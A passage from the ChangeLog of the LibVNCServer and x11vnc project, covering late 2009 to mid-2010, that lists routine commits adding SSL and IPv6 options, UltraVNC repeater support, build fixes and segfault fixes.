2395 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: misc/etv sync.
2396
23972010-05-01 runge <runge@karlrunge.com>
2398
2399 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
2400 x11vnc/help.c, x11vnc/misc/ultravnc_repeater.pl,
2401 x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c,
2402 x11vnc/xrecord.c: x11vnc: X11VNC_DISABLE_SSL_CLIENT_MODE option to
2403 disable SSL client role in reverse connections. Improvements to
2404 logging in ultravnc_repeater, ULTRAVNC_REPEATER_NO_RFB option.
2405 Increase SSL timeout and print message if 'repeater' mode is
2406 detected for reverse SSL connection. Fix RECORD scroll XCopyArea
2407 detection with recent gtk/gdk library; set X11VNC_SCROLL_MUST_EQUAL to disable. Limit logging of RECORD error messages.
2408
24092010-04-28 Johannes Schindelin <johannes.schindelin@gmx.de>
2410
2411 * client_examples/Makefile.am: Another try to fix the _SOURCES issue Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2412
24132010-04-28 Corentin Chary <corentin.chary@gmail.com>
2414
2415 * CMakeLists.txt, rfb/rfbconfig.h.cmake: cmake: fix CMakeLists.txt - It's SDL_LIBRARY, not SDL_LIBRARIES - Detect GnuTLS and set the macro in rfbconfig.h - Add tls.c to libvncclient to avoid missing symbols Signed-off-by: Corentin Chary <corentin.chary@gmail.com>
2416 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2417
24182010-04-25 runge <runge@karlrunge.com>
2419
2420 * x11vnc/ChangeLog, x11vnc/README, x11vnc/enc.h, x11vnc/help.c,
2421 x11vnc/remote.c, x11vnc/scan.c, x11vnc/sslhelper.c,
2422 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: incorporate new
2423 ultravnc_dsm_helper.c.
2424
24252010-04-18 runge <runge@karlrunge.com>
2426
2427 * x11vnc/ChangeLog,
2428 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
2429 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
2430 x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
2431 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
2432 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/stunnel-maxconn.pa
2433 tch,
2434 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
2435 ll.patch: Sync ssvncviewer changes.
2436
24372010-04-18 runge <runge@karlrunge.com>
2438
2439 * x11vnc/ChangeLog, x11vnc/README, x11vnc/appshare.c,
2440 x11vnc/connections.c, x11vnc/help.c, x11vnc/inet.c, x11vnc/inet.h,
2441 x11vnc/misc/connect_switch, x11vnc/misc/desktop.cgi,
2442 x11vnc/misc/ultravnc_repeater.pl, x11vnc/options.c,
2443 x11vnc/options.h, x11vnc/remote.c, x11vnc/screen.c,
2444 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c,
2445 x11vnc/util.c, x11vnc/v4l.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
2446 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xinerama.c:
2447 Improvements to demo scripts. Alias -coe for -connect_or_exit. Fix
2448 HAVE_V4L2. Warn no Xvfb, Xdummy, or Xvnc. Xinerama screens.
2449
24502010-04-09 runge <runge@karlrunge.com>
2451
2452 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
2453 x11vnc/connections.h, x11vnc/enc.h, x11vnc/help.c, x11vnc/inet.c,
2454 x11vnc/inet.h, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c,
2455 x11vnc/screen.c, x11vnc/sslcmds.c, x11vnc/sslhelper.c,
2456 x11vnc/sslhelper.h, x11vnc/ssltools.h, x11vnc/tkx11vnc,
2457 x11vnc/tkx11vnc.h, x11vnc/user.c, x11vnc/util.c, x11vnc/x11vnc.1,
2458 x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c,
2459 x11vnc/xevents.c, x11vnc/xinerama.c: x11vnc: exit(1) for
2460 -connect_or_exit failure, quiet query mode for grab_state,
2461 pointer_pos, etc. ipv6 support. STUNNEL_LISTEN for particular
2462 interface. -input_eagerly in addition to -allinput. quiet Xinerama
2463 message.
2464
24652010-04-09 runge <runge@karlrunge.com>
2466
2467 * classes/ssl/ss_vncviewer,
2468 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
2469 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Improvements to
2470 Java viewer: troubleshooting settings and workarounds, misc bug
2471 fixes.
2472
24732010-04-09 runge <runge@karlrunge.com>
2474
2475 * x11vnc/misc/connect_switch, x11vnc/misc/desktop.cgi,
2476 x11vnc/misc/enhanced_tightvnc_viewer/README,
2477 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl,
2478 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
2479 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
2480 x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
2481 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1,
2482 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
2483 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
2484 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches,
2485 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
2486 ll.patch, x11vnc/misc/inet6to4: Synchronize ssvnc 1.0.26.
2487 Improvements to perl scripts desktop.cgi, connect_switch and
2488 inet6to4.
2489
24902010-03-21 runge <runge@karlrunge.com>
2491
2492 * classes/ssl/README, classes/ssl/onetimekey,
2493 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
2494 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch,
2495 x11vnc/ChangeLog, x11vnc/README, x11vnc/cursor.c, x11vnc/help.c,
2496 x11vnc/keyboard.c, x11vnc/misc/Makefile.am, x11vnc/misc/README,
2497 x11vnc/misc/connect_switch, x11vnc/misc/desktop.cgi,
2498 x11vnc/misc/inet6to4, x11vnc/misc/panner.pl,
2499 x11vnc/misc/ultravnc_repeater.pl, x11vnc/remote.c,
2500 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c,
2501 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: classes/ssl:
2502 Many improvements to Java SSL applet, onetimekey serverCert param,
2503 debugging printout, user dialogs, catch socket exceptions,
2504 autodetect x11vnc for GET=1. x11vnc: misc/scripts: desktop.cgi,
2505 inet6to4, panner.pl. X11VNC_HTTPS_DOWNLOAD_WAIT_TIME, -unixpw %xxx
2506 documented, and can run user cmd in UNIXPW_CMD. FD_XDMCP_IF for
2507 create script, autodetect dm on udp6 only. Queries: pointer_x,
2508 pointer_y, pointer_same, pointer_root. Switch on -xkd if keysyms
2509 per key > 4 in all cases. daemon mode improvements for
2510 connect_switch, inet6to4, ultravnc_repeater.pl. Dynamic change of
2511 -clip do not create new fb if WxH is unchanged.
2512
25132010-03-21 runge <runge@karlrunge.com>
2514
2515 * configure.ac: I think two HAVE_X's were missed.
2516
25172010-03-13 Johannes Schindelin <johannes.schindelin@gmx.de>
2518
2519 * libvncclient/rfbproto.c, libvncclient/vncviewer.c: Fix compilation
2520 without TLS Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2521
25222010-03-13 Johannes Schindelin <johannes.schindelin@gmx.de>
2523
2524 * client_examples/Makefile.am, client_examples/SDLvncviewer.c: Fix
2525 compilation with newer automake For some reason, this developer's automake no longer understands
2526 _SOURCES lines anymore. Work around that. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2527
25282010-03-13 Johannes Schindelin <johannes.schindelin@gmx.de>
2529
2530 * client_examples/Makefile.am, configure.ac: Rename HAVE_X ->
2531 HAVE_X11 This change is just for consistency reasons. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2532
25332010-02-22 runge <runge@karlrunge.com>
2534
2535 * classes/ssl/README,
2536 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
2537 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch,
2538 x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/scan.c,
2539 x11vnc/sslcmds.c, x11vnc/sslcmds.h, x11vnc/ssltools.h,
2540 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: classes/ssl:
2541 Java SSL applet viewer now works with certificate chains. x11vnc:
2542 Printout option -sslScripts. Suggest -auth guess in error message.
2543 Set fake_screen width and height. Test for +kb in Xvfb.
2544
25452010-01-22 Christian Beier <dontmind@freeshell.org>
2546
2547 * libvncclient/vncviewer.c: libvncclient/vncviewer.c: don't set
2548 serverPort in rfbInitClient(). The serverPort member is already set in rfbGetClient(), if we set it
2549 again in rfbInitClient(), this breaks playing of vncrec files (this
2550 relies on serverPort set to -1). Signed-off-by: Christian Beier <dontmind@freeshell.org>
2551 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2552
25532010-01-16 Johannes Schindelin <johannes.schindelin@gmx.de>
2554
2555 * libvncclient/vncviewer.c: LibVNCClient: make sure that the port is
2556 initialized correctly. While at it, adjust coding style. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2557
25582010-01-15 Vic Lee <llyzs@163.com>
2559
2560 * libvncclient/rfbproto.c, libvncclient/vncviewer.c,
2561 rfb/rfbclient.h: Add UltraVNC Repeater support in libvncclient [jes: adjusted coding style, made sure port is initialized
2562 correctly] Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Johannes
2563 Schindelin <johannes.schindelin@gmx.de>
2564
25652010-01-07 runge <runge@karlrunge.com>
2566
2567 * x11vnc/README, x11vnc/misc/Xdummy, x11vnc/x11vnc.1,
2568 x11vnc/x11vnc_defs.c: x11vnc: add modeline creation to Xdummy.
2569
25702010-01-07 Christian Beier <dontmind@freeshell.org>
2571
2572 * libvncserver/font.c: libvncserver/font.c: add some checks to
2573 rfbDrawChar(). In some cases (bad font data) the coordinates evaluate to <0,
2574 causing a segfault in the following memcpy(). [jes: keep the offset, but do not try to segfault] Signed-off-by: Christian Beier <dontmind@freeshell.org>
2575 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2576
25772010-01-07 Christian Beier <dontmind@freeshell.org>
2578
2579 * vncterm/LinuxVNC.c: LinuxVNC: Fix for no input possible because of
2580 ctrl key being stuck. Issue was reported as Debian bug ##555988,
2581 http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=555988 Signed-off-by: Christian Beier <dontmind@freeshell.org>
2582 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2583
25842010-01-04 Christian Beier <dontmind@freeshell.org>
2585
2586 * vncterm/LinuxVNC.c, vncterm/VNConsole.c: LinuxVNC: fix segfault at
2587 "linuxvnc 1 -help". This fixes Debian Bug #399501: Switch to tty1. Run "linuxvnc 1
2588 -help". You see help text, followed by "Segmentation fault". Signed-off-by: Christian Beier <dontmind@freeshell.org>
2589 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2590
25912010-01-02 runge <runge@karlrunge.com>
2592
2593 * x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/ChangeLog, x11vnc/README,
2594 x11vnc/allowed_input_t.h, x11vnc/appshare.c, x11vnc/avahi.c,
2595 x11vnc/avahi.h, x11vnc/blackout_t.h, x11vnc/cleanup.c,
2596 x11vnc/cleanup.h, x11vnc/connections.c, x11vnc/connections.h,
2597 x11vnc/cursor.c, x11vnc/cursor.h, x11vnc/enc.h, x11vnc/enums.h,
2598 x11vnc/gui.c, x11vnc/gui.h, x11vnc/help.c, x11vnc/help.h,
2599 x11vnc/inet.c, x11vnc/inet.h, x11vnc/keyboard.c, x11vnc/keyboard.h,
2600 x11vnc/linuxfb.c, x11vnc/linuxfb.h, x11vnc/macosx.c,
2601 x11vnc/macosx.h, x11vnc/macosxCG.c, x11vnc/macosxCG.h,
2602 x11vnc/macosxCGP.c, x11vnc/macosxCGP.h, x11vnc/macosxCGS.c,
2603 x11vnc/macosxCGS.h, x11vnc/misc/README, x11vnc/misc/Xdummy,
2604 x11vnc/misc/rx11vnc, x11vnc/misc/rx11vnc.pl, x11vnc/options.c,
2605 x11vnc/options.h, x11vnc/params.h, x11vnc/pm.c, x11vnc/pm.h,
2606 x11vnc/pointer.c, x11vnc/pointer.h, x11vnc/rates.c, x11vnc/rates.h,
2607 x11vnc/remote.c, x11vnc/remote.h, x11vnc/scan.c, x11vnc/scan.h,
2608 x11vnc/screen.c, x11vnc/screen.h, x11vnc/scrollevent_t.h,
2609 x11vnc/selection.c, x11vnc/selection.h, x11vnc/solid.c,
2610 x11vnc/solid.h, x11vnc/sslcmds.c, x11vnc/sslcmds.h,
2611 x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/ssltools.h,
2612 x11vnc/uinput.c, x11vnc/uinput.h, x11vnc/unixpw.c, x11vnc/unixpw.h,
2613 x11vnc/user.c, x11vnc/user.h, x11vnc/userinput.c,
2614 x11vnc/userinput.h, x11vnc/util.c, x11vnc/util.h, x11vnc/v4l.c,
2615 x11vnc/v4l.h, x11vnc/win_utils.c, x11vnc/win_utils.h,
2616 x11vnc/winattr_t.h, x11vnc/x11vnc.1, x11vnc/x11vnc.h,
2617 x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h,
2618 x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xinerama.c,
2619 x11vnc/xinerama.h, x11vnc/xkb_bell.c, x11vnc/xkb_bell.h,
2620 x11vnc/xrandr.c, x11vnc/xrandr.h, x11vnc/xrecord.c,
2621 x11vnc/xrecord.h, x11vnc/xwrappers.c, x11vnc/xwrappers.h: x11vnc:
2622 small tweaks to Xdummy, rx11vnc*. Apply SMALL_FOOTPRINT to
2623 -appshare text. Copyright year change.
2624
26252010-01-02 runge <runge@karlrunge.com>
2626
2627 * libvncserver/tightvnc-filetransfer/rfbtightserver.c: year++;
2628
26292010-01-02 runge <runge@karlrunge.com>
2630
2631 * ChangeLog, libvncserver/tightvnc-filetransfer/rfbtightserver.c:
2632 tightvnc-filetransfer/rfbtightserver.c: enabled fix for tight
2633 security type for RFB 3.8 (debian bug 517422.)
2634
26352010-01-01 Vic Lee <llyzs@163.com>
2636
2637 * libvncclient/rfbproto.c, libvncclient/vncviewer.c,
2638 rfb/rfbclient.h: Add support for viewers to select security types on
2639 demand Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Johannes
2640 Schindelin <johannes.schindelin@gmx.de>
2641
26422009-12-29 runge <runge@karlrunge.com>
2643
2644 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c,
2645 x11vnc/misc/Xdummy, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
2646 x11vnc/x11vnc_defs.c: x11vnc: rename -create_x to -create_xsrv.
2647 Hopefully done fixing Xdummy.
2648
26492009-12-28 runge <runge@karlrunge.com>
2650
2651 * x11vnc/ChangeLog, x11vnc/README, x11vnc/appshare.c,
2652 x11vnc/misc/Xdummy, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
2653 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
2654 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
2655 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1,
2656 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
2657 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
2658 ll.patch, x11vnc/remote.c, x11vnc/solid.c, x11vnc/tkx11vnc,
2659 x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/x11vnc.1,
2660 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: Fix problems in
2661 --without-x builds. Fix crash with -QD query for dbus info. Adjust
2662 window size for small screens in -gui. Improve F1 help for xdm,
2663 etc. include ssvnc 1.0.25 source.
2664
26652009-12-24 runge <runge@karlrunge.com>
2666
2667 * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README,
2668 x11vnc/help.c, x11vnc/misc/Xdummy, x11vnc/ssltools.h,
2669 x11vnc/unixpw.c, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
2670 x11vnc/x11vnc_defs.c: x11vnc: prepare_x11vnc_dist.sh for 0.9.10.
2671 -xdummy_xvfb, -svc_xdummy_xvfb and -create_x shorthand. lxde
2672 session. Xdummy improvements and root no longer required.
2673
26742009-12-20 Vic Lee <llyzs@163.com>
2675
2676 * libvncclient/rfbproto.c: Fix version checking (>=3.8) for
2677 rfbVncAuthOK confirmation when no password required It seems that vino does not send AuthOK when there is no password
2678 with anonymous TLS, and it seems that vino is the only <3.8 VNC
2679 server that handles anonymous TLS at all, so let's not wait for the
2680 packet that will never come. Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Johannes
2681 Schindelin <johannes.schindelin@gmx.de>
2682
26832009-12-21 runge <runge@karlrunge.com>
2684
2685 * x11vnc/ChangeLog, x11vnc/README, x11vnc/sslhelper.c,
2686 x11vnc/ssltools.h, x11vnc/unixpw.c, x11vnc/x11vnc.1,
2687 x11vnc/x11vnc_defs.c: x11vnc: -DENC_HAVE_OPENSSL=0 to disable enc.h
2688 but still have ssl. Tweak ps command in find_display. Try to handle AIX su. Ignore an initial newline at login: for -unixpw.
2689
26902009-12-18 runge <runge@karlrunge.com>
2691
2692 * x11vnc/ChangeLog: ChangeLog typo
2693
26942009-12-18 runge <runge@karlrunge.com>
2695
2696 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c,
2697 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/unixpw.c,
2698 x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
2699 x11vnc/x11vnc_defs.c: Add tag=... to unixpw opts to set FD_TAG.
2700 Prefer Xvfb over Xdummy. Reduce wait time for https. Add 'Login
2701 succeeded' output to unixpw panel.
2702
27032009-12-18 runge <runge@karlrunge.com>
2704
2705 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
2706 x11vnc/help.c, x11vnc/remote.c, x11vnc/unixpw.c, x11vnc/x11vnc.1,
2707 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: fix keycode and other
2708 remote control actions under DIRECT: with an extra XFlush and other
2709 safety measures. fflush(stderr) much in su_verify. Make the
2710 -unixpw env. vars UNIXPW_DISABLE_SSL and UNIXPW_DISABLE_LOCALHOST
2711 work correctly. Make -loopbg actually imply -bg.
2712
27132009-12-15 runge <runge@karlrunge.com>
2714
2715 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/inet.c,
2716 x11vnc/misc/Makefile.am, x11vnc/misc/connect_switch,
2717 x11vnc/misc/ultravnc_repeater.pl, x11vnc/options.c,
2718 x11vnc/options.h, x11vnc/pointer.c, x11vnc/remote.c,
2719 x11vnc/screen.c, x11vnc/ssltools.h, x11vnc/unixpw.c, x11vnc/user.c,
2720 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c,
2721 x11vnc/xdamage.c, x11vnc/xevents.c: X props names via env var.
2722 fakebuttonevent action, connect_switch and ultravnc_repeater.pl
2723 scripts, find_display try FD_XDM on failure, -quiet and -storepasswd
2724 changes, better port 113 testing.
2725
27262009-12-07 runge <runge@karlrunge.com>
2727
2728 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/help.c,
2729 x11vnc/remote.c, x11vnc/screen.c, x11vnc/sslhelper.c,
2730 x11vnc/ssltools.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
2731 x11vnc/x11vnc_defs.c: X11VNC_EXTRA_HTTPS_PARAMS,
2732 X11VNC_HTTP_LISTEN_LOCALHOST, X11VNC_REOPEN_SLEEP_MAX,
2733 -findauth/-auth guess FD_XDM=1 for root, work around xhost
2734 SI:localuser:root.
2735
27362009-12-05 runge <runge@karlrunge.com>
2737
2738 * classes/ssl/ss_vncviewer,
2739 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch,
2740 x11vnc/ChangeLog, x11vnc/README, x11vnc/appshare.c, x11vnc/gui.c,
2741 x11vnc/unixpw.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Update java
2742 and scripts in classes/ssl. x11vnc: declare crypt() on all
2743 platforms. more wishes.
2744
27452009-12-02 runge <runge@karlrunge.com>
2746
2747 * x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README,
2748 x11vnc/appshare.c, x11vnc/connections.c, x11vnc/cursor.c,
2749 x11vnc/help.c, x11vnc/keyboard.c, x11vnc/options.c,
2750 x11vnc/options.h, x11vnc/pm.c, x11vnc/pointer.c, x11vnc/remote.c,
2751 x11vnc/screen.c, x11vnc/sslhelper.c, x11vnc/tkx11vnc,
2752 x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c,
2753 x11vnc/userinput.c, x11vnc/util.c, x11vnc/util.h,
2754 x11vnc/win_utils.c, x11vnc/win_utils.h, x11vnc/x11vnc.1,
2755 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c,
2756 x11vnc/xinerama.c, x11vnc/xrandr.c: x11vnc: -appshare mode for
2757 sharing an application windows instead of the entire desktop. map
2758 port + 5500 in reverse connect. Add id_cmd remote control functions
2759 for id (and other) windows. Allow zero port in SSL reverse
2760 connections. Adjust delays between multiple reverse connections;
2761 X11VNC_REVERSE_SLEEP_MAX env var. Add some missing mutex locks; add
2762 INPUT_LOCK and threads_drop_input. More safety in -threads mode for
2763 new framebuffer change. Fix some stderr leaking in -inetd mode.
2764
27652009-12-01 runge <runge@karlrunge.com>
2766
2767 * libvncserver/cursor.c, libvncserver/sockets.c,
2768 libvncserver/translate.c: Add locks of updateMutex in
2769 rfbRedrawAfterHideCursor() and rfbSetClientColourMap(). Up listen
2770 limit from 5 to 32.
2771
27722009-11-18 runge <runge@karlrunge.com>
2773
2774 * x11vnc/misc/enhanced_tightvnc_viewer/README,
2775 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl,
2776 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
2777 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
2778 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
2779 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
2780 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
2781 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
2782 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
2783 ll.patch: ssvnc/enhanced_tightvnc_viewer update.
2784
27852009-11-18 runge <runge@karlrunge.com>
2786
2787 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c,
2788 x11vnc/connections.c, x11vnc/cursor.c, x11vnc/cursor.h,
2789 x11vnc/enc.h, x11vnc/help.c, x11vnc/remote.c, x11vnc/screen.c,
2790 x11vnc/selection.c, x11vnc/solid.c, x11vnc/ssltools.h,
2791 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c,
2792 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
2793 x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h: x11vnc:
2794 -findauth, -auth guess, & etc.
2795
27962009-11-11 Christian Beier <dontmind@freeshell.org>
2797
2798 * libvncclient/listen.c, rfb/rfbclient.h: libvncclient: better
2799 return value for non-forking listen. The return value now better reflects what has happened: 1 on success
2800 (incoming connection on listen socket, we accepted it successfully),
2801 -1 on error, 0 on timeout. Also change the select calls to not check _all_ possible file
2802 descriptors. Signed-off-by: Christian Beier <dontmind@freeshell.org>
2803 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2804
28052009-11-05 Christian Beier <dontmind@freeshell.org>
2806
2807 * libvncclient/listen.c, libvncclient/rfbproto.c,
2808 libvncclient/vncviewer.c, libvncserver/rfbserver.c: Fix checks for
2809 socket values, 0 is a legal value. To make this work, we also have to initialize sockets to a default
2810 value of -1. Also close a client listen socket if it's open. Signed-off-by: Christian Beier <dontmind@freeshell.org>
2811 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2812
28132009-10-31 Christian Beier <dontmind@freeshell.org>
2814
2815 * libvncclient/vncviewer.c: libvncclient: include winsock2.h in
2816 vncviewer.c. fixes warning about closesocket being implicitly declared. Signed-off-by: Christian Beier <dontmind@freeshell.org>
2817 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2818
28192009-11-05 Vic Lee <llyzs@163.com>
2820
2821 * configure.ac: Change GnuTLS minimum requirement to 2.4.0 Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Johannes
2822 Schindelin <johannes.schindelin@gmx.de>
2823
28242009-11-04 Vic Lee <llyzs@163.com>
2825
2826 * client_examples/ppmtest.c, examples/example.c,
2827 libvncclient/sockets.c, libvncclient/zrle.c, libvncserver/cursor.c,
2828 libvncserver/tightvnc-filetransfer/rfbtightserver.c,
2829 vncterm/VNConsole.c: Fix various compilation warnings Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Johannes
2830 Schindelin <johannes.schindelin@gmx.de>
2831
28322009-10-07 Vic Lee <llyzs@163.com>
2833
2834 * libvncclient/rfbproto.c, libvncserver/vncauth.c, rfb/rfbclient.h,
2835 rfb/rfbproto.h: Add MSLogon security type Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Johannes
2836 Schindelin <johannes.schindelin@gmx.de>
2837
28382009-10-31 Johannes Schindelin <johannes.schindelin@gmx.de>
2839
2840 * AUTHORS: Add Alexander to the authors Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2841
28422009-10-31 Christian Beier <dontmind@freeshell.org>
2843
2844 * client_examples/SDLvncviewer.c: SDLvncviewer: don't call clean up
2845 the same client twice. If rfbInitConnection fails, it cleans up the client, so protect
2846 against doing it ourselves again. Signed-off-by: Christian Beier <dontmind@freeshell.org>
2847 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2848
28492009-10-30 Christian Beier <dontmind@freeshell.org>
2850
2851 * client_examples/SDLvncviewer.c: SDLvncviewer: add SIGINT handler
2852 to be able to actually stop program. Signed-off-by: Christian Beier <dontmind@freeshell.org>
2853 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2854
28552009-10-26 Christian Beier <dontmind@freeshell.org>
2856
2857 * client_examples/SDLvncviewer.c: SDLvncviewer: use -listennofork
2858 when -listen specified. As -listen mode isn't really working under UNIX and not at all under
2859 windows, use -listennofork and an outer listen loop instead. Signed-off-by: Christian Beier <dontmind@freeshell.org>
2860 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2861
28622009-10-26 Christian Beier <dontmind@freeshell.org>
2863
2864 * libvncclient/listen.c, libvncclient/vncviewer.c, rfb/rfbclient.h:
2865 libvncclient: add a non-forking listen function. Forking the whole process from deep within a library call does not
2866 really work at all with apps that use multiple threads, i.e. every
2867 reasonably modern GUI app. So, provide a non-forking listen function
2868 so that the caller can decide if to fork, start a thread, etc. This implementation adds a timeout parameter to be able to call the
2869 listen function multiple times so that it's possible to do sth. else
2870 in between, e.g. abort listening. Signed-off-by: Christian Beier <dontmind@freeshell.org>
2871 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2872
28732009-10-21 Christian Beier <dontmind@freeshell.org>
2874
2875 * client_examples/SDLvncviewer.c: SDLvncviewer: make listen mode
2876 work _somewhat_. set the port to listen on and really ensure that the window of the
2877 fork()ed instance is closed. works somewhat: it's now actually possible to listen for an incoming
2878 connection and to close it again, but the second connection attempt
2879 fails with 'XIO: fatal IO error 11 (Resource temporarily
2880 unavailable)'. this could relate to the fact that SDL uses threads
2881 internally and we're fork()ing here... Signed-off-by: Christian Beier <dontmind@freeshell.org>
2882 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2883
28842009-10-30 Christian Beier <dontmind@freeshell.org>
2885
2886 * libvncclient/sockets.c: libvncclient: make listenAtTCPPort() work
2887 under windows. Actually, initSockets() has to be called everywhere we possibly use
2888 sockets the first time. Also fix return value of initSockets(). Signed-off-by: Christian Beier <dontmind@freeshell.org>
2889 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2890
28912009-10-30 Alexander Dorokhine <arrenlex@gmail.com>
2892
2893 * libvncclient/rfbproto.c, libvncclient/vncviewer.c,
2894 rfb/rfbclient.h: libvncclient: Add FinishedFrameBufferUpdate
2895 callback When working on a program which searches the display for some image,
2896 one does not want to search again without getting an FB update. Add
2897 a callback to make this possible.
2898
28992009-10-30 Alexander Dorokhine <arrenlex@gmail.com>
2900
2901 * libvncclient/sockets.c: Fix hostname resolution problems under
2902 Windows On Windows, the WSA system needs to be initialized to be able to
2903 look up host names. This patch also changes *addr = 0 to use the constant
2904 INADDR_LOOPBACK instead, which seems to be required on Windows.
2905
29062009-10-17 runge <runge@karlrunge.com>
2907
2908 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/help.c,
